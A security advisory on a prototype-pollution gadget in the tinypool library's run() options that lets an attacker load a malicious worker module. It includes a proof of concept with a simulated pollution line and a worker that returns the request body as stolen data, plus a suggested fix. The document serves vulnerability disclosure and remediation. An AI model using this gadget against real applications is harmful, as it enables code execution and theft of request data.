Tinypool: Prototype Pollution Gadget to RCE in run() options

tinypool is a fork of piscina and inherited the same prototype-pollution surface. When pool.run(task, options) is called, the filename option is read from the provided options object. If that object does not have an own filename property, the lookup falls through to Object.prototype.

An attacker who can pollute Object.prototype.filename (for example, via a vulnerable lodash.merge, qs.parse, or similar elsewhere in the application) can make tinypool load and execute an attacker-controlled worker module.

This is the tinypool counterpart to the piscina root discovery GHSA-x9g3-xrwr-cwfg.

pool.run(task) with no second argument is not affected, because kDefaultOptions.filename is null and the options object is not user-controlled. The exploit only triggers when the caller passes their own options object to pool.run().

Impact

Arbitrary JavaScript execution in the worker pool. If the application passes attacker-controlled data as the run() task and also supplies a run() options object, the attacker can redirect execution to a malicious worker that exfiltrates or modifies that data, achieving remote code execution and/or data exfiltration.

Proof of Concept

// legitimate-worker.mjs
export default async (task) => ({ by: 'legitimate-worker', processed: task })

// malicious-worker.mjs
export default async (task) => ({ by: 'attacker', stolenRequestBody: task })

// main.js
import express from "express";
import Tinypool from "tinypool";
import { fileURLToPath } from "node:url";
import path from "node:path";

const __dirname = path.dirname(fileURLToPath(import.meta.url));

// Simulate upstream prototype pollution (lodash merge, qs parse, etc.)
Object.prototype.filename = path.join(__dirname, "malicious-worker.mjs");

const pool = new Tinypool({
  filename: path.join(__dirname, "legitimate-worker.mjs"),
});

express()
  .use(express.json())
  .post("/", async (req, res) => {
    const ac = new AbortController();
    const result = await pool.run(req.body, { signal: ac.signal });
    res.json(result);
  })
  .listen(31337);

Suggested fix

Read all user-supplied options from own properties only (Object.hasOwn or Object.prototype.hasOwnProperty.call) and build the internal ThreadPool.options object with a null prototype.